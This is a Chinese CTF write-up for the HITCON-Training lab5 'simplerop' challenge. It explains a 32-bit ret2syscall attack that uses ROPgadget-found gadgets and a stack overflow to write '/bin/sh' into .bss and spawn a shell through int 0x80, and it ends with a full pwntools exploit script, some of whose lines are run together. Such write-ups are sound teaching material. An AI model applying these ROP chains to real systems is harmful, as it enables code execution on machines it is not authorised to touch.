本文主要是介绍CTF|HITCON-Training-master lab5 writeup(ret2syscall题型),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
CTF|HITCON-Training-master lab5 writeup(ret2syscall题型)
题目的文件名是“simplerop” 意思是对rop链的简单利用
shift+f12 查看后,题目既没有给system函数又没有‘/bin/sh’
大致判断是CTFwiki上基本rop中的ret2syscall类型的题目
大致思路是,
- 在文件中需寻找有用的gadget
- 通过题目中存在的栈溢出
将‘/bin/sh’写入文件中的bss段(或者data段) 然后将执行流引导到bss上执行即可
因为文件是32位,‘/bin/sh’需要分两次写入bss - 同时为了实现系统调用我们要满足
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。
用ROPgadget工具
使用命令行
查找pop/ret的gadget
ROPgadget --binary simplerop --only 'pop|ret'
查找mov/ret的gadget
ROPgadget --binary simplerop --only 'mov|ret'
查找int 0x80(执行对应的系统调用)
ROPgadget --binary simplerop --only 'int 0x80'
拿到gadgers后
第一步:通过
payload = "a"*32
payload += p32(pop_edx_ret)
payload += p32(bss_addr)
payload += p32(pop_eax_ret)
payload += "/bin"
payload += p32(mov_edx_eax)
payload += p32(pop_edx_ret)
payload += p32(bss+4)
payload += p32(pop_eax_ret)
payload += "/sh\x00"
payload += p32(mov_edx_eax)
将‘/bin/sh’写入内存
然后通过
payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(bss)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_80)
实现系统调用:edx ecx赋为0 将ebx赋值到指向 /bin/sh 的地址(bss段) eax 赋值为 0xb
完整exp:
from pwn import*
p = process('./simplerop')pop_eax = 0x080bae06
pop_ebx = 0x080481c9
pop_edx = 0x0806e82a
pop_edx_ecx_ebx =0x0806e850
mov_eax_edx = 0x0808c0f3
bss = 0x080EAF80
int_80 = 0x080493e1
pop_ecx_ebx =0x0806e851payload = 'a'*32
payload += p32(pop_eax) + p32(bss)
payload += p32(pop_edx) + '/bin'
payload += p32(mov_eax_edx)
payload += p32(pop_eax) + p32(bss + 4)
payload += p32(pop_edx) + '/sh\x00'
payload += p32(mov_eax_edx)payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(bss)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_80)p.recvuntil('Your input :')
p.sendline(payload)p.interactive()
这篇关于CTF|HITCON-Training-master lab5 writeup(ret2syscall题型)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!